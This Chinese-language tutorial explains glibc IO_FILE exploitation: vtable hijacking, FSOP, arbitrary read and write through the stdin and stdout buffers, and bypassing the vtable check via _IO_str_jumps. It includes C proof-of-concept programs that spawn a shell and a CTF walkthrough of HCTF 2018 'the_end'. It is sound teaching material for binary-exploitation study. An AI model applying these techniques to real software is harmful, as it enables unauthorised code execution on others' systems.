linux IO_FILE 利用
FILE 结构
IO FILE 定义的各种主要结构关系如下图所示。
- 各种文件结构采用单链表的形式连接起来,通过
_IO_list_all
访问。 vatble
为函数指针结构体,存放着各种 IO 相关的函数的指针。- 初始情况下
_IO_FILE
结构有_IO_2_1_stderr_
,_IO_2_1_stdout_
,_IO_2_1_stdin_
三个,之后如果有文件读写操作则会为对应文件创建一个_IO_FILE
结构体,并且链接到_IO_list_all
链表上。
fopen
关键流程大致如下,具体看源码。
fread
关键流程大致如下,具体看源码。
缓冲区如下:
fwrite
关键流程大致如下,具体看源码。
缓冲区如下:
fclose
关键流程大致如下,具体看源码。
伪造 vtable 劫持程序流程
vtable
劫持分为两种,一种是直接改写 vtable
中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable
的指针指向我们控制的内存,然后在其中布置函数指针。由于 vtable
一般都不可修改,所以第一种方式不太常见。在 libc2.24 版本之前由于没有 _IO_vtable_check
检查 vtable
地址,因此可以通过伪造 vtable
来调用所需函数 。
IO 调用的 vtable 函数:
fopen
函数是在分配空间,建立 FILE
结构体,未调用 vtable
中的函数。
fread
函数中调用的 vtable
函数有:
_IO_sgetn
函数调用了vtable
的_IO_file_xsgetn
。_IO_doallocbuf
函数调用了vtable
的_IO_file_doallocate
以初始化输入缓冲区。vtable
中的_IO_file_doallocate
调用了vtable
中的__GI__IO_file_stat
以获取文件信息。__underflow
函数调用了vtable
中的_IO_new_file_underflow
实现文件数据读取。vtable
中的_IO_new_file_underflow
调用了vtable__GI__IO_file_read
最终去执行系统调用read
。
fwrite
函数调用的 vtable
函数有:
_IO_fwrite
函数调用了vtable
的_IO_new_file_xsputn
。_IO_new_file_xsputn
函数调用了vtable
中的_IO_new_file_overflow
实现缓冲区的建立以及刷新缓冲区。vtable
中的_IO_new_file_overflow
函数调用了vtable
的_IO_file_doallocate
以初始化输入缓冲区。vtable
中的_IO_file_doallocate
调用了vtable
中的__GI__IO_file_stat
以获取文件信息。new_do_write
中的_IO_SYSWRITE
调用了vtable_IO_new_file_write
最终去执行系统调用write
。
fclose
函数调用的 vtable
函数有:
- 在清空缓冲区的
_IO_do_write
函数中会调用vtable
中的函数。 - 关闭文件描述符
_IO_SYSCLOSE
函数为vtable
中的__close
函数。 _IO_FINISH
函数为vtable
中的__finish
函数。
下面举一个实际的例子:
#include <stdio.h>
#include<stdlib.h>
#include <string.h>typedef unsigned long long i64;
typedef unsigned char i8;int main() {FILE *fp = fopen("./123.txt", "rw");i64 *fake_vtable = malloc(0x40);fake_vtable[7] = (i64) &system;i64 *vtable_addr = (i64 *) ((i8 *) fp + 0xD8);*vtable_addr = (i64) fake_vtable;memcpy(fp, "sh", 3);fwrite("hi", 2, 1, fp);return 0;
}
使用的 libc 版本如下:
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:crypt add-on version 2.1 by Michael Glad and othersGNU Libidn by Simon JosefssonNative POSIX Threads Library by Ulrich Drepper et alBIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
此版本 libc 没有 _IO_vtable_check
检查,因此可以随意伪造 vtable
。
在执行 fwrite
时会调用 vtable
中的 _IO_new_file_xsputn
,参数为对应的 _IO_FILE_plus
,因此在伪造的 vtable
对应位置上写入 system
地址,并在 _IO_FILE_plus
所在地址写入 sh\x00
,然后调用 fwrite
即可得到 shell 。
例题:2018 HCTF the_end
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{int i; // [rsp+4h] [rbp-Ch]void *buf; // [rsp+8h] [rbp-8h] BYREFsleep(0);printf("here is a gift %p, good luck ;)\n", &sleep);fflush(_bss_start);close(1);close(2);for ( i = 0; i <= 4; ++i ){read(0, &buf, 8uLL);read(0, buf, 1uLL);}exit(1337);
}
分析程序,发现可以获取 libc 基地址,然后有 5 次 1 字节的任意地址写。
exit
函数会执行 _IO_cleanup
函数。
int
_IO_cleanup (void)
{/* We do *not* want locking. Some threads might use streams butthat is their problem, we flush them underneath them. */int result = _IO_flush_all_lockp (0);/* We currently don't have a reliable mechanism for making sure thatC++ static destructors are executed in the correct order.So it is possible that other static destructors might want towrite to cout - and they're supposed to be able to do so.The following will make the standard streambufs be unbuffered,which forces any output from late destructors to be written out. */_IO_unbuffer_all ();return result;
}
其中 _IO_flush_all_lockp
函数如果缓冲区有数据没有输出会执行 _IO_overflow
,_IO_unbuffer_all
函数会执行 _IO_setbuf
。
这里调试发现只执行后者,因此可以在 _IO_2_1_stderr_
中伪造 vtable
使得 _IO_setbuf
位置恰好为某个指向 libc 附近的指针。然后再修改 FILE
使得 *vtable
指向伪造的 vtable
。最后 exit
得到 shell 。
FSOP
FSOP 的核心思想就是劫持 _IO_list_all
指向伪造的 _IO_FILE_plus
。之后使程序执行 _IO_flush_all_lockp
函数。该函数会刷新 _IO_list_all
链表中所有项的文件流,相当于对每个 FILE
调用 fflush
,也对应着会调用 _IO_FILE_plus.vtable
中的 _IO_overflow
。
在利用时要注意以下几点:
程序执行
_IO_flush_all_lockp
函数有三种情况:- 当
libc
执行abort
流程时 - 当执行
exit
函数时 - 当执行流从
main
函数返回时
- 当
伪造的
_IO_FILE_plus
中的FILE
需要绕过如下检查:if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW(fp, EOF) == EOF) {result = EOF; }
由于
vtable
伪造的位置绕不过_IO_vtable_check
的检查,因此仅适应于 libc2.24 版本以下。
下面举一个 FSOP 的实际例子:
#include <stdio.h>
#include <stdlib.h>typedef unsigned long long i64;int main() {i64 libc_base = (i64) &puts - 0x6F5D0;i64 *ptr = malloc(0x200);ptr[24] = 0x0;//_modeptr[5] = 0x1;//_IO_write_ptrptr[4] = 0x0;//_IO_write_baseptr[27] = (i64) &ptr[32];//*vtableptr[32 + 3] = libc_base + 0x4525A;//_IO_overflowi64 *list_all_ptr = (i64 *) (libc_base + 0x3C4520);list_all_ptr[0] = (i64) ptr;exit(0);
}
使用的 libc 版本如下:
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.3.1 20160413.
Available extensions:crypt add-on version 2.1 by Michael Glad and othersGNU Libidn by Simon JosefssonNative POSIX Threads Library by Ulrich Drepper et alBIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
上述程序利用过程如下图
最后 exit(0)
进行如下函数调用:
程序执行效果:
缓冲区的相关利用
stdin 标准输入缓冲区进行任意地址写
根据前面对 fread
的分析已经知道通过缓冲区进行输入的大致流程,但要实现任意地址写还要绕过其中具体的检查。
_IO_file_xsgetn
fp->_IO_buf_base
为空时会执行_IO_doallocbuf(fp)
初始化缓冲区,因此fp->_IO_buf_base
不能为空。if (fp->_IO_buf_base == NULL) {/* Maybe we already have a push back pointer. */if (fp->_IO_save_base != NULL) {free(fp->_IO_save_base);fp->_flags &= ~_IO_IN_BACKUP;}_IO_doallocbuf(fp);}
- 如果
fp->_IO_read_end
>fp->_IO_read_ptr
会将缓冲区中对应的数据复制到目标地址中,为了避免因为这个出现不必要的问题,最好令fp->_IO_read_end
=fp->_IO_read_ptr
。have = fp->_IO_read_end - fp->_IO_read_ptr;...if (have > 0) {s = __mempcpy(s, fp->_IO_read_ptr, have);want -= have;fp->_IO_read_ptr += have;}
- 如果需要读入的数据长度如果大于缓冲区大小会采用直接读入的方式,因此不能使读入的数据长度如果大于缓冲区大小。
if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) {if (__underflow(fp) == EOF)break;continue;}
_IO_new_file_underflow
_flags
的_IO_NO_READS
标志为不能为 1 。标志的定义是#define _IO_NO_READS 4
。if (fp->_flags & _IO_NO_READS) {fp->_flags |= _IO_ERR_SEEN;__set_errno(EBADF);return EOF;}
- 最终系统调用
_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)
读取数据,因此要想利用stdin输入缓冲区需设置FILE
结构体中_IO_buf_base
为write_start
,_IO_buf_end
为write_end
。同时也需将结构体中的fp->_fileno
设置为 0 ,最终调用read (fp->_fileno, buf, size))
读取数据。count = _IO_SYSREAD(fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);
将上述条件综合表述为:
- 设置
_IO_read_end
等于_IO_read_ptr
。 - 设置
_flag
&~_IO_NO_READS
即_flag
&~ 0x4。 - 设置
_fileno
为 0 ,表示读入数据的来源是stdin
。 - 设置
_IO_buf_base
为write_start
,_IO_buf_end
为write_end
;且使得_IO_buf_end
-_IO_buf_base
大于fread
要读的数据。
举例:
#include<stdio.h>typedef unsigned long long i64;
char buf[100];int main() {char stack_buf[100];
// i64 libc_base = (i64) &puts - 0x84420;FILE *fp = fopen("123.txt", "rw");
// FILE *fp = (FILE *) (libc_base + 0x1EC980);fp->_IO_read_end = fp->_IO_read_ptr = 0x0;fp->_flags &= ~0x4;fp->_fileno = 0x0;fp->_IO_buf_base = (char *) buf;fp->_IO_buf_end = (char *) &buf[99];fread(stack_buf, 1, 3, fp);
// scanf("%s", stack_buf);printf("buf: %s\n", buf);printf("stack_buf: %s\n", stack_buf);return 0;
}
libc 采用如下版本:
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.8) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
运行结果:
aaaaaaaaaaaaaaaaaaa
buf: aaaaaaaaaaaaaaaaaaastack_buf: aaa
stdout 标准输入缓冲区进行任意地址读写
stdout
可以把某地址数据复制到缓冲区,然后输出出来。如果可控 stdout
结构体,通过构造可实现利用其进行任意地址读以及任意地址写。
任意地址写
_IO_new_file_xsputn
函数中有如下操作:
else if (f->_IO_write_end > f->_IO_write_ptr)count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. *//* Then fill the buffer. */if (count > 0) {if (count > to_do)count = to_do;f->_IO_write_ptr = __mempcpy(f->_IO_write_ptr, s, count);s += count;to_do -= count;}
即当输出缓冲区不满的时候,就将带输出数据复制到输出缓冲区。因此只要将_IO_write_ptr
指向 write_start
,_IO_write_end
指向 write_end
即可实现在目标地址写入数据。
举例(libc 版本同上):
#include<stdio.h>typedef unsigned long long i64;
char buf[] = "123456";int main() {char stack_buf[] = "abcdefghi";i64 libc_base = (i64) &puts - 0x84420;FILE *fp = (FILE *) (libc_base + 0x1ed6a0);fp->_IO_write_ptr = (char *) &buf[0];fp->_IO_write_end = (char *) &buf[4];puts(stack_buf);printf("buf: %s\n", buf);return 0;
}
运行结果:
efghi
buf: abcd56
其中复制到 buf
中的数据没有输出的原因是 _IO_overflow
函数没有正常执行,接下来任意地址读会有更多分析。
任意地址读
程序正确执行到 _IO_overflow
时会将输出缓冲区中的数据输出出来,只要将要泄露的位置设置为输出缓冲区就可以泄露内容。但还要绕过一系列检查:
_IO_new_file_xsputn
- 如果
f->_IO_write_end > f->_IO_write_ptr
说明输出缓冲区还没有写满,就会将待输出的数据写入缓冲区,实际上_IO_overflow
只有在输出缓冲区写满的时候才将其输出。因此为了不造成不必要的麻烦,直接令f->_IO_write_end = f->_IO_write_ptr
。else if (f->_IO_write_end > f->_IO_write_ptr)count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. *//* Then fill the buffer. */if (count > 0) {if (count > to_do)count = to_do;f->_IO_write_ptr = __mempcpy(f->_IO_write_ptr, s, count);s += count;to_do -= count;}
- 如果
_IO_new_file_overflow
_flags
不能包含_IO_NO_WRITES
,其中_IO_NO_WRITES
的值为 0x8 。if (f->_flags & _IO_NO_WRITES) /* SET ERROR */{f->_flags |= _IO_ERR_SEEN;__set_errno(EBADF);return EOF;}
为了进入如下分枝进造成不必要的麻烦,
_flags
应包含_IO_CURRENTLY_PUTTING
,其中_IO_CURRENTLY_PUTTING
的值为 0x0800 。if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) {...}
调用
_IO_do_write
输出缓冲区内容,因此令_IO_write_base = read_start
,_IO_write_ptr = read_end
。if (ch == EOF)return _IO_do_write(f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base);
new_do_write
构造
_flags
包含_IO_IS_APPENDING
或者_IO_read_end
等于_IO_write_base
就可以直接执行到_IO_SYSWRITE
。其中_IO_IS_APPENDING
的值为 0x1000 。size_t count;if (fp->_flags & _IO_IS_APPENDING)/* On a system without a proper O_APPEND implementation,you would need to sys_seek(0, SEEK_END) here, but isnot needed nor desirable for Unix- or Posix-like systems.Instead, just indicate that offset (before and after) isunpredictable. */fp->_offset = _IO_pos_BAD;else if (fp->_IO_read_end != fp->_IO_write_base){off64_t new_pos= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);if (new_pos == _IO_pos_BAD)return 0;fp->_offset = new_pos;}count = _IO_SYSWRITE (fp, data, to_do);
- 最后
_IO_SYSWRITE
调用write (f->_fileno, data, to_do)
输出数据,因此还需构造_fileno
为标准输出描述符 1 。
将上述条件综合描述为:
- 设置
_flag
&~_IO_NO_WRITES
即_flag
&~ 0x8。 - 设置
_flag
&_IO_CURRENTLY_PUTTING
即_flag
| 0x800 - 设置
_fileno
为1。 - 设置
_IO_write_base
指向想要泄露的地方;_IO_write_ptr
指向泄露结束的地址。 - 设置
_IO_read_end
等于_IO_write_base
或设置_flag
&_IO_IS_APPENDING
即_flag
| 0x1000。 - 设置
_IO_write_end
等于_IO_write_ptr
(非必须)。
满足上述五个条件,可实现任意读。
举例:
#include<stdio.h>typedef unsigned long long i64;
char buf[] = "123456";int main() {char stack_buf[] = "abcdefghi";i64 libc_base = (i64) &puts - 0x84420;FILE *fp = (FILE *) (libc_base + 0x1ed6a0);fp->_flags &= ~0x8;fp->_flags |= 0x800;fp->_fileno = 1;fp->_IO_write_base = (char *) buf;fp->_IO_write_ptr = (char *) &buf[6];fp->_IO_read_end = fp->_IO_write_base;puts(stack_buf);return 0;
}
运行结果:
123456abcdefghi
__IO_str_jumps
libc2.24 在 IO_validate_vtable
函数中对 *vtable
指针进行校验:
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{/* Fast path: The vtable pointer is within the __libc_IO_vtablessection. */uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;const char *ptr = (const char *) vtable;uintptr_t offset = ptr - __start___libc_IO_vtables;if (__glibc_unlikely (offset >= section_length))/* The vtable pointer is not in the expected section. Use theslow path, which will terminate the process if necessary. */_IO_vtable_check ();return vtable;
}
vtable
必须要满足 在 __stop___IO_vtables
和 __start___libc_IO_vtables
之间,而我们伪造的vtable通常不满足这个条件。
但是 _IO_str_jumps
与 __IO_wstr_jumps
就位于 __stop___libc_IO_vtables
和 __start___libc_IO_vtables
之间,所以我们是可以利用他们来通过 IO_validate_vtable
的检测的,只需要将 *vtable
填成 _IO_str_jumps
或 __IO_wstr_jumps
地址即可。
利用方式主要有针对 __IO_str_jumps
中的 _IO_str_finsh
函数和 _IO_str_overflow
两种。
确定 __IO_str_jumps 地址
由于 _IO_str_jumps
不是导出符号,libc.sym["_IO_str_jumps"]
查不到,我们可以利用 _IO_str_jumps
中的导出函数例如 _IO_str_underflow
进行辅助定位。首先先得到 _IO_str_underflow
地址,然后查找所有指向该地址的指针。由于 _IO_str_underflow
在 _IO_str_jumps
的偏移为 0x20 ,并且 _IO_str_jumps
的地址大于 _IO_file_jumps
地址,因此可以在选择满足上述条件中最小的地址作为 _IO_str_jumps
的地址。
from bisect import *IO_file_jumps = libc.symbols['_IO_file_jumps']
IO_str_underflow = libc.symbols['_IO_str_underflow']
IO_str_underflow_ptr = list(libc.search(p64(IO_str_underflow)))
IO_str_jumps = IO_str_underflow_ptr[bisect_left(IO_str_underflow_ptr, IO_file_jumps + 0x20)] - 0x20
print hex(IO_str_jumps)
io_str_finish
libc 直到 2.27 版本,_IO_str_finish
都是下面这种实现手段。也就是说,如果修改 ((_IO_strfile *) fp)->_s._free_buffer
为 system
地址,然后修改 fp->_IO_buf_base
为 /bin/sh
字符串地址,然后触发程序执行 _IO_str_finish
函数就可以得到 shell 。
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);fp->_IO_buf_base = NULL;_IO_default_finish (fp, 0);
}
具体的攻击流程如下:
- 修改
vatble
指针
根据前面 FSOP 的思路,可以通过使程序执行_IO_flush_all_lockp
函数,进而执行_IO_overflow
。此时如果将vatble
指针修改为指向&_IO_str_jumps - 8
的地址就可以执行_IO_str_finish
。 - 伪造
_IO_FILE
与 FSOP 基本一致。- 要满足
fp->_IO_buf_base
不为空,并且由于它作为fp->_s._free_buffer
的第一个参数,因此可以使用/bin/sh
的地址。 fp->_flags
要不包含_IO_USER_BUF
,它的定义为#define _IO_USER_BUF 1
,即fp->_flags
最低位为0
。- 缓冲区需要有数据,即
_IO_write_base
<_IO_write_ptr
。 _mode
需要小于等于 0 。
- 要满足
- 修改
((_IO_strfile *) fp)->_s._free_buffer
为system
地址,即将fp+0xE8
除的值改为system
地址。 - 最后通过
exit
等手段使程序执行_IO_flush_all_lockp
函数,最终得到 shell 。
下面举一个实际例子:
#include <stdio.h>
#include<stdlib.h>typedef unsigned long long i64;
typedef unsigned char i8;int main() {// i64 *fp = malloc(0x200);FILE *fp = fopen("./123.txt", "rw");i64 libc_base = (i64) &system - 0x4F440;i64 bin_sh_addr = libc_base + 0x1B3E9A;i64 IO_str_jump_addr = libc_base + 0x3E8360;i64 fake_IO_file_jump_addr = IO_str_jump_addr - 0x8;*(i64 *) fp &= ~1ULL;*(i64 *) ((i8 *) fp + 0xE8) = (i64) &system;//((_IO_strfile *) fp)->_s._free_buffer*(i64 *) ((i8 *) fp + 0xD8) = fake_IO_file_jump_addr;//*vtable*((i64 *) fp + 24) = 0x0;//_mode*((i64 *) fp + 4) = 0x0;//_IO_write_base*((i64 *) fp + 5) = 0x1;//_IO_write_ptr*((i64 *) fp + 7) = bin_sh_addr;//_IO_buf_base
// i64 *list_all_ptr = (i64 *) (libc_base + 0x3ec660);
// list_all_ptr[0] = (i64) fp;exit(0);
}
libc 版本为:
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
运行结果:
linux IO_FILE 利用相关推荐
- 好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc
前言 本来是在做tcache attack的例题的,但是wiki上的challenge2考察的重点不仅仅是在tcache.题目程序中没有输出的功能,所以无法像往常一样去泄露libc,这个时候就需要进行 ...
- 【CTF资料-0x0002】PWN简易Linux堆利用入门教程by arttnba3
[CTF资料-0x0002]简易Linux堆利用入门教程by arttnba3 老生常谈,[GITHUB BLOG ADDR](https://arttnba3.cn/2021/05/10/NOTE- ...
- 在Linux上利用python获取本机ip
下面介绍在Linux上利用python获取本机ip的方法. 经过网上调查, 发现大致有两种方法, 一种是调用shell脚本,另一种是利用python中的socket等模块来得到,下面是这两种方法的源码 ...
- Linux下利用rsync实现多服务器文件同步
Linux下利用rsync实现多服务器文件同步 目标:多服务器文件同步 环境:2台centos5.6 Web端:192.168.20.20 Backup端:192.168.20.21 需要备份目录为: ...
- linux下利用openssl来实现证书的颁发(详细步骤)--转载和修改
原文地址:http://www.cnblogs.com/firtree/p/4028354.html linux下利用openssl来实现证书的颁发(详细步骤) 1.首先需要安装openssl,一个开 ...
- 【java】 linux下利用nohup后台运行jar文件包程序
Linux 运行jar包命令如下: 方式一: java -jar XXX.jar 特点:当前ssh窗口被锁定,可按CTRL + C打断程序运行,或直接关闭窗口,程序退出 那如何让窗口不锁定? 方式二 ...
- 嵌入式 linux下利用backtrace追踪函数调用堆栈以及定位段错误
嵌入式 linux下利用backtrace追踪函数调用堆栈以及定位段错误 2015-05-27 14:19 184人阅读 评论(0) 收藏 举报 分类: 嵌入式(928) 一般察看函数运行时堆栈的 ...
- linux fb应用例子,Linux下利用framebuffer画点的程序小例子
Linux下利用framebuffer画点的程序小例子: /* * ================================================================== ...
- Linux: 如何利用HandBrake将DVD光碟转成各式影片档
之前本站已经有写过关于Handbrake的教学: 如何将租回来的DVD转成电脑可播放的影片档 ,不过因为那篇教学比较旧了,而且新版的Handbrake也有些改变,甚至为了转档效率,目前Handbrak ...
最新文章
- c语言struct_Introduction to CSAPP(十七):复杂数据组织与C语言的 struct与union
- CF、FM、DSSM、DeepFM等这些推荐模型的原理以及使用场景是什么?
- 不写程序,整体就泡 土豆网电视剧
- pascal和python的区别_Python如何与其他编程语言不同
- Linux系统编程41:多线程之线程池的概念及实现
- php 进程管理及操作
- Python多线程编程方式1(转)
- 【NER】NLP-入门实体命名识别(NER)+Bilstm-CRF模型原理Pytorch代码详解——最全攻略...
- 探索webpack热更新对代码打包结果的影响(二)
- IE6和IE7的line-height和现代浏览器不一致的问题
- Sql 语句里 As后的竟然可以和前边的字段重名
- Swift - 使用UIScrollView实现页面滚动切换
- Word把普通表格改为三线表格的方法
- 硬件仿真加速器(emulator)
- 考研数学常用基础知识默写版
- 665. Non-decreasing Array
- TCL/TK脚本应用tclkit工具打包
- W801单片机学习笔记——调试器的配置与使用(适用于W801和W806)
- 文件夹删不掉?有种文件夹叫 畸形文件夹
- 金融行业开源软件研究评测报告——JSON组件